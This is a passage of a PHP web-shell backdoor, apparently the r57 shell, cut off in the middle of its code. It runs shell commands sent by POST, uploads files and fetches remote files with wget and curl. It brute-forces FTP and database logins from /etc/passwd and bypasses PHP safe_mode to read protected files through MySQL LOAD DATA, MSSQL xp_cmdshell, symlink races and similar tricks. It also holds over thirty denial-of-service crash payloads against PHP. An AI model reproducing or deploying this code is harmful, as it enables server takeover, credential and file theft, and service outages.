4915}
4916
4917
4918
4919if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
4920
4921
4922
4923for($upl=0;$upl<=16;$upl++)
4924
4925{
4926
4927 if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
4928
4929 if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
4930
4931 else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
4932
4933 @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
4934
4935 or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
4936
4937 }
4938
4939}
4940
4941
4942
4943if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
4944
4945{
4946
4947 switch($_POST['with'])
4948
4949 {
4950
4951 case 'fopen':
4952
4953 $datafile = @implode("", @file($_POST['rem_file']));
4954
4955 if($datafile)
4956
4957 {
4958
4959 if(!morewrite($_POST['loc_file'],$datafile)){ err(0);};
4960
4961 }
4962
4963
4964
4965 $_POST['cmd'] = '';
4966
4967 break;
4968
4969 case 'wget':
4970
4971 $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\"";
4972
4973 break;
4974
4975 case 'fetch':
4976
4977 $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
4978
4979 break;
4980
4981 case 'lynx':
4982
4983 $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
4984
4985 break;
4986
4987 case 'links':
4988
4989 $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
4990
4991 break;
4992
4993 case 'GET':
4994
4995 $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
4996
4997 break;
4998
4999 case 'curl':
5000
5001 $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
5002
5003 break;
5004
5005 }
5006
5007}
5008
5009if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down")))
5010
5011 {
5012
5013 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
5014
5015 if(empty($ftp_port)) { $ftp_port = 21; }
5016
5017 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
5018
5019 if(!$connection) { err(3); }
5020
5021 else
5022
5023 {
5024
5025 if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
5026
5027 else
5028
5029 {
5030
5031 if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
5032
5033 if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
5034
5035 }
5036
5037 }
5038
5039 @ftp_close($connection);
5040
5041 $_POST['cmd'] = "";
5042
5043 }
5044
5045
5046
5047if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute")))
5048
5049 {
5050
5051 if($_POST['cmd']=="ftp_brute"){
5052
5053 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
5054
5055 if(empty($ftp_port)) { $ftp_port = 21; }
5056
5057 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
5058
5059 }else if($_POST['cmd']=="db_brute"){
5060
5061 $connection = 1;
5062
5063 }
5064
5065 if(!$connection) { err(3); $_POST['cmd'] = ""; }
5066
5067 else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
5068
5069 else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
5070
5071 if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
5072
5073 }
5074
5075
5076
5077echo $table_up3;
5078
5079if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
5080
5081else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; }
5082
5083echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
5084
5085if($safe_mode || $open_basedir)
5086
5087{
5088
5089 switch($_POST['cmd'])
5090
5091 {
5092
5093 case 'safe_dir':
5094
5095
5096
5097 if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
5098
5099 {
5100
5101 foreach ($d as $file)
5102
5103 {
5104
5105 if ($file=="." || $file=="..") continue;
5106
5107 @clearstatcache();
5108
5109 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
5110
5111 if(!$unix){
5112
5113 echo date("d.m.Y H:i",$mtime);
5114
5115 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
5116
5117 }
5118
5119 else{
5120
5121 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
5122
5123 $owner = @posix_getpwuid($uid);
5124
5125 $grgid = @posix_getgrgid($gid);
5126
5127 }else{$owner['name']=$grgid['name']='';}
5128
5129 echo $inode." ";
5130
5131 echo perms(@fileperms($file));
5132
5133 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
5134
5135 echo @date("d.m.Y H:i ",$mtime);
5136
5137 }
5138
5139 echo "$file\n";
5140
5141 }
5142
5143 }
5144
5145
5146
5147 elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
5148
5149 {
5150
5151 while (false!==($file=$d->read()))
5152
5153 {
5154
5155 if ($file=="." || $file=="..") continue;
5156
5157 @clearstatcache();
5158
5159 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
5160
5161 if(!$unix){
5162
5163 echo date("d.m.Y H:i",$mtime);
5164
5165 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
5166
5167 }
5168
5169 else{
5170
5171 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
5172
5173 $owner = @posix_getpwuid($uid);
5174
5175 $grgid = @posix_getgrgid($gid);
5176
5177 }else{$owner['name']=$grgid['name']='';}
5178
5179 echo $inode." ";
5180
5181 echo perms(@fileperms($file));
5182
5183 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
5184
5185 echo @date("d.m.Y H:i ",$mtime);
5186
5187 }
5188
5189 echo "$file\n";
5190
5191 }
5192
5193 $d->close();
5194
5195 }
5196
5197
5198
5199 elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
5200
5201 {
5202
5203 while (false!==($file=@readdir($d)))
5204
5205 {
5206
5207 if ($file=="." || $file=="..") continue;
5208
5209 @clearstatcache();
5210
5211 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
5212
5213 if(!$unix){
5214
5215 echo date("d.m.Y H:i",$mtime);
5216
5217 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
5218
5219 }
5220
5221 else{
5222
5223 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
5224
5225 $owner = @posix_getpwuid($uid);
5226
5227 $grgid = @posix_getgrgid($gid);
5228
5229 }else{$owner['name']=$grgid['name']='';}
5230
5231 echo $inode." ";
5232
5233 echo perms(@fileperms($file));
5234
5235 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
5236
5237 echo @date("d.m.Y H:i ",$mtime);
5238
5239 }
5240
5241 echo "$file\n";
5242
5243 }
5244
5245 @closedir($d);
5246
5247 }
5248
5249
5250
5251 elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath'])))
5252
5253 {
5254
5255 echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n";
5256
5257 function eh($errno, $errstr, $errfile, $errline)
5258
5259 {
5260
5261 global $D, $c, $i;
5262
5263 preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
5264
5265 if($o){ $D[$c] = $o[2]; $c++;}
5266
5267 }
5268
5269 $error_reporting = @ini_get('error_reporting');
5270
5271 error_reporting(E_WARNING);
5272
5273 @ini_set("display_errors", 1);
5274
5275 @ini_alter("display_errors", 1);
5276
5277 $root = "/";
5278
5279 if($dir) $root = $dir;
5280
5281 $c = 0; $D = array();
5282
5283 @set_error_handler("eh");
5284
5285 $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
5286
5287 for($i=0; $i < strlen($chars); $i++)
5288
5289 {
5290
5291 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
5292
5293 $prevD = $D[count($D)-1];
5294
5295 @glob($path."*");
5296
5297 if($D[count($D)-1] != $prevD)
5298
5299 {
5300
5301 for($j=0; $j < strlen($chars); $j++)
5302
5303 {
5304
5305 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
5306
5307 $prevD2 = $D[count($D)-1];
5308
5309 @glob($path."*");
5310
5311 if($D[count($D)-1] != $prevD2)
5312
5313 {
5314
5315 for($p=0; $p < strlen($chars); $p++)
5316
5317 {
5318
5319 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
5320
5321 $prevD3 = $D[count($D)-1];
5322
5323 @glob($path."*");
5324
5325 if($D[count($D)-1] != $prevD3)
5326
5327 {
5328
5329 for($r=0; $r < strlen($chars); $r++)
5330
5331 {
5332
5333 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
5334
5335 @glob($path."*");
5336
5337 }
5338
5339 }
5340
5341 }
5342
5343 }
5344
5345 }
5346
5347 }
5348
5349 }
5350
5351 $D = array_unique($D);
5352
5353 foreach($D as $item) echo "{$item}\r\n";
5354
5355 echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
5356
5357 error_reporting($error_reporting);
5358
5359 }
5360
5361 elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath'])))
5362
5363 {
5364
5365 echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n";
5366
5367 if(!$dir){$dir='/etc/';};
5368
5369 if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';}
5370
5371 if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';}
5372
5373
5374
5375 if($realpath=realpath($dir.'/')){echo $realpath."\r\n";}
5376
5377 if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";}
5378
5379 foreach($presets_rlph as $preset_rlph){
5380
5381 if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";}
5382
5383 }
5384
5385 for($i=0; $i < strlen($chars_rlph); $i++){
5386
5387 if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";}
5388
5389 if($n_rlph<=1){continue;};
5390
5391 for($j=0; $j < strlen($chars_rlph); $j++){
5392
5393 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";}
5394
5395 if($n_rlph<=2){continue;};
5396
5397 for($x=0; $x < strlen($chars_rlph); $x++){
5398
5399 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";}
5400
5401 if($n_rlph<=3){continue;};
5402
5403 for($y=0; $y < strlen($chars_rlph); $y++){
5404
5405 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";}
5406
5407 if($n_rlph<=4){continue;};
5408
5409 for($z=0; $z < strlen($chars_rlph); $z++){
5410
5411 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";}
5412
5413 if($n_rlph<=5){continue;};
5414
5415 for($w=0; $w < strlen($chars_rlph); $w++){
5416
5417 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";}
5418
5419 }
5420
5421 }
5422
5423 }
5424
5425 }
5426
5427 }
5428
5429 }
5430
5431 echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
5432
5433 }
5434
5435 else echo $lang[$language.'_text29'];
5436
5437 break;
5438
5439 case 'test1':
5440
5441 $ci = @curl_init("file://".$_POST['test1_file']);
5442
5443 $cf = @curl_exec($ci);
5444
5445 echo htmlspecialchars($cf);
5446
5447 break;
5448
5449 case 'test2':
5450
5451 @include($_POST['test2_file']);
5452
5453 break;
5454
5455 case 'test3':
5456
5457 if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
5458
5459 $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
5460
5461 if($db)
5462
5463 {
5464
5465 if(@mysql_select_db($_POST['test3_md'],$db))
5466
5467 {
5468
5469 @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
5470
5471 @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
5472
5473/* @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");*/
5474
5475 @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
5476
5477 $r = @mysql_query("SELECT * FROM temp_r57_table");
5478
5479 while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
5480
5481 @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
5482
5483 }
5484
5485 else echo "[-] ERROR! Can't select database";
5486
5487 @mysql_close($db);
5488
5489 }
5490
5491 else echo "[-] ERROR! Can't connect to mysql server";
5492
5493 break;
5494
5495 case 'test4':
5496
5497 if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
5498
5499 $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
5500
5501 if($db)
5502
5503 {
5504
5505 if(@mssql_select_db($_POST['test4_md'],$db))
5506
5507 {
5508
5509 @mssql_query("drop table r57_temp_table",$db);
5510
5511 @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
5512
5513 @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
5514
5515 $res = mssql_query("select * from r57_temp_table",$db);
5516
5517 while(($row=@mssql_fetch_row($res)))
5518
5519 {
5520
5521 echo htmlspecialchars($row[0])."\r\n";
5522
5523 }
5524
5525 @mssql_query("drop table r57_temp_table",$db);
5526
5527 }
5528
5529 else echo "[-] ERROR! Can't select database";
5530
5531 @mssql_close($db);
5532
5533 }
5534
5535 else echo "[-] ERROR! Can't connect to MSSQL server";
5536
5537 break;
5538
5539 case 'test5':
5540
5541 $temp=tempnam($dir, "fname");
5542
5543 if (@file_exists($temp)) @unlink($temp);
5544
5545 $extra = "-C ".$_POST['test5_file']." -X $temp";
5546
5547 @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
5548
5549 $str = moreread($temp);
5550
5551 echo htmlspecialchars($str);
5552
5553 @unlink($temp);
5554
5555 break;
5556
5557 case 'test6':
5558
5559 $stream = @imap_open('/etc/passwd', "", "");
5560
5561 $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
5562
5563 for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n";
5564
5565 @imap_close($stream);
5566
5567 break;
5568
5569 case 'test7':
5570
5571 $stream = @imap_open($_POST['test7_file'], "", "");
5572
5573 $str = @imap_body($stream, 1);
5574
5575 echo htmlspecialchars($str);
5576
5577 @imap_close($stream);
5578
5579 break;
5580
5581 case 'test8':
5582
5583 $temp=@tempnam($_POST['test8_file2'], "copytemp");
5584
5585 $str = readzlib($_POST['test8_file1'],$temp);
5586
5587 echo htmlspecialchars($str);
5588
5589 @unlink($temp);
5590
5591 break;
5592
5593 case 'test9':
5594
5595 @ini_restore("safe_mode");
5596
5597 @ini_restore("open_basedir");
5598
5599 $str = moreread($_POST['test9_file']);
5600
5601 echo htmlspecialchars($str);
5602
5603 break;
5604
5605 case 'test10':
5606
5607 @ob_clean();
5608
5609 $error_reporting = @ini_get('error_reporting');
5610
5611 error_reporting(E_ALL ^ E_NOTICE);
5612
5613 @ini_set("display_errors", 1);
5614
5615 @ini_alter("display_errors", 1);
5616
5617 $str=@fopen($_POST['test10_file'],"r");
5618
5619 while(!feof($str)){print htmlspecialchars(fgets($str));}
5620
5621 fclose($str);
5622
5623 error_reporting($error_reporting);
5624
5625 break;
5626
5627 case 'test11':
5628
5629 @ob_clean();
5630
5631 $temp = 'zip://'.$_POST['test11_file'];
5632
5633 $str = moreread($temp);
5634
5635 echo htmlspecialchars($str);
5636
5637 break;
5638
5639 case 'test12':
5640
5641 @ob_clean();
5642
5643 $temp = 'compress.bzip2://'.$_POST['test12_file'];
5644
5645 $str = moreread($temp);
5646
5647 echo htmlspecialchars($str);
5648
5649 break;
5650
5651 case 'test13':
5652
5653 @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']);
5654
5655 echo $lang[$language.'_text61'];
5656
5657 break;
5658
5659 case 'test14':
5660
5661 @session_save_path($_POST['test14_file2']."\0;$tempdir");
5662
5663 @session_start();
5664
5665 @$_SESSION[php]=$_POST['test14_file1'];
5666
5667 echo $lang[$language.'_text61'];
5668
5669 break;
5670
5671 case 'test15':
5672
5673 @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']);
5674
5675 echo $lang[$language.'_text61'];
5676
5677 break;
5678
5679 case 'test16':
5680
5681 if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
5682
5683 break;
5684
5685 case 'test17_1':
5686
5687 @unlink('symlinkread');
5688
5689 @symlink('a/a/a/a/a/a/', 'dummy');
5690
5691 @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread');
5692
5693 @unlink('dummy');
5694
5695 while (1)
5696
5697 {
5698
5699 @symlink('.', 'dummy');
5700
5701 @unlink('dummy');
5702
5703 }
5704
5705 break;
5706
5707 case 'test17_2':
5708
5709 $str='';
5710
5711 while (strlen($str) < 3) {
5712
5713/* $str = moreread('symlinkread');*/
5714
5715 $str = @file_get_contents('symlinkread');
5716
5717 if($str){ @ob_clean(); echo htmlspecialchars($str);}
5718
5719 }
5720
5721 break;
5722
5723 case 'test17_3':
5724
5725 $dir = $files = array();
5726
5727 if(@version_compare(@phpversion(),"5.0.0")>=0){
5728
5729 while (@count($dir) < 3) {
5730
5731 $dir=@scandir('symlinkread');
5732
5733 if (@count($dir) > 2) {@ob_clean(); @print_r($dir); }
5734
5735 }
5736
5737 }
5738
5739 else {
5740
5741 while (@count($files) < 3) {
5742
5743 $dh = @opendir('symlinkread');
5744
5745 while (false !== ($filename = @readdir($dh))) {
5746
5747 $files[] = $filename;
5748
5749 }
5750
5751 if(@count($files) > 2){@ob_clean(); @print_r($files); }
5752
5753 }
5754
5755 }
5756
5757 break;
5758
5759 case 'test18':
5760
5761 @putenv("TMPDIR=".$_POST['test18_file2']);
5762
5763 @ini_set("session.save_path", "");
5764
5765 @ini_alter("session.save_path", "");
5766
5767 @session_start();
5768
5769 @$_SESSION[php]=$_POST['test18_file1'];
5770
5771 echo $lang[$language.'_text61'];
5772
5773 break;
5774
5775 case 'test19':
5776
5777 if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; }
5778
5779 $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']);
5780
5781 if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;};
5782
5783 $m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
5784
5785 $m->set_local_infile_handler("r");
5786
5787 $m->query("DROP TABLE IF EXISTS temp_r57_table");
5788
5789 $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )");
5790
5791 $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table");
5792
5793 $r = $m->query("SELECT * FROM temp_r57_table");
5794
5795 while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
5796
5797 $m->query("DROP TABLE IF EXISTS temp_r57_table");
5798
5799 $m->close();
5800
5801 break;
5802
5803 }
5804
5805}
5806
5807
5808
5809if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
5810
5811 $cmd_rep = ex($_POST['cmd']);
5812
5813 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
5814
5815 else { echo @htmlspecialchars($cmd_rep)."\n"; }
5816
5817}/*elseif($safe_mode){
5818
5819 $cmd_rep = safe_ex($_POST['cmd']);
5820
5821 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
5822
5823 else { echo @htmlspecialchars($cmd_rep)."\n"; }
5824
5825}
5826
5827*/
5828
5829switch($_POST['cmd'])
5830
5831{
5832
5833 case 'dos1':
5834
5835 function a() { a(); } a();
5836
5837 break;
5838
5839 case 'dos2':
5840
5841 @pack("d4294967297", 2);
5842
5843 break;
5844
5845 case 'dos3':
5846
5847 $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
5848
5849 break;
5850
5851 case 'dos4':
5852
5853 $t = array(1);while (1) {$a[] = &$t;};
5854
5855 break;
5856
5857 case 'dos5':
5858
5859 @dl("sqlite.so");$db = new SqliteDatabase("foo");
5860
5861 break;
5862
5863 case 'dos6':
5864
5865 preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
5866
5867 break;
5868
5869 case 'dos7':
5870
5871 @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
5872
5873 break;
5874
5875 case 'dos8':
5876
5877 @shell_exec("killall -11 httpd");
5878
5879 break;
5880
5881 case 'dos9':
5882
5883 function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx();
5884
5885 break;
5886
5887 case 'dos10':
5888
5889 $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
5890
5891 break;
5892
5893 case 'dos11':
5894
5895 @array_fill(1,123456789,"Infigo-IS");
5896
5897 break;
5898
5899 case 'dos12':
5900
5901 @substr_compare("A","A",12345678);
5902
5903 break;
5904
5905 case 'dos13':
5906
5907 @unserialize("a:2147483649:{");
5908
5909 break;
5910
5911 case 'dos14':
5912
5913 $Data = @str_ireplace("\n", "<br>", $Data);
5914
5915 break;
5916
5917 case 'dos15':
5918
5919 function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
5920
5921 $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
5922
5923 @htmlentities($str1, ENT_NOQUOTES, "UTF-8");
5924
5925 break;
5926
5927 case 'dos16':
5928
5929 $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
5930
5931 for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
5932
5933 unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
5934
5935 break;
5936
5937 case 'dos17':
5938
5939 $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
5940
5941 $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
5942
5943 $x = "AQ ";
5944
5945 unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
5946
5947 break;
5948
5949 case 'dos18':
5950
5951 $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600);
5952
5953 if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
5954
5955 echo "Msg not sent because $msg_err\n";
5956
5957 if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
5958
5959 echo "$msg\n";
5960
5961 } else { echo "Received $msg_error fetching message\n"; break; }
5962
5963 @msg_remove_queue ($msg_id);
5964
5965 break;
5966
5967 case 'dos19':
5968
5969 $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
5970
5971 break;
5972
5973 case 'dos20':
5974
5975 $hashtable = str_repeat("A", 39);
5976
5977 $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
5978
5979 $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
5980
5981 $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
5982
5983 for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
5984
5985 $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
5986
5987 @unserialize($str);
5988
5989 break;
5990
5991 case 'dos21':
5992
5993 imagecreatetruecolor(1234,1073741824);
5994
5995 break;
5996
5997 case 'dos22':
5998
5999 imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120);
6000
6001 break;
6002
6003 case 'dos23':
6004
6005 $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b);
6006
6007 break;
6008
6009 case 'dos24':
6010
6011 setlocale(LC_COLLATE, str_repeat("A", 34438013));
6012
6013 break;
6014
6015 case 'dos25':
6016
6017 glob(str_repeat("A", 9638013));
6018
6019 break;
6020
6021 case 'dos26':
6022
6023 glob("a",-1);
6024
6025 break;
6026
6027 case 'dos27':
6028
6029 fnmatch("*[1]e", str_repeat("A", 9638013));
6030
6031 break;
6032
6033 case 'dos28':
6034
6035 if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";}
6036
6037 break;
6038
6039 case 'dos29':
6040
6041 if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');}
6042
6043 break;
6044
6045 case 'dos30':
6046
6047 $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c);
6048
6049 break;
6050
6051 case 'dos31':
6052
6053 if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );}
6054
6055 break;
6056
6057 case 'dos32':
6058
6059 if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );}
6060
6061 break;
6062
6063 case 'dos33':
6064
6065 $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
6066
6067 break;
6068
6069 case 'dos34':
6070
6071 if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);}
6072
6073 break;
6074
6075 case 'dos35':
6076
6077 $a = str_repeat("/", 4199000); iconv(1, $a, 1);
6078
6079 break;
6080
6081 case 'dos36':
6082
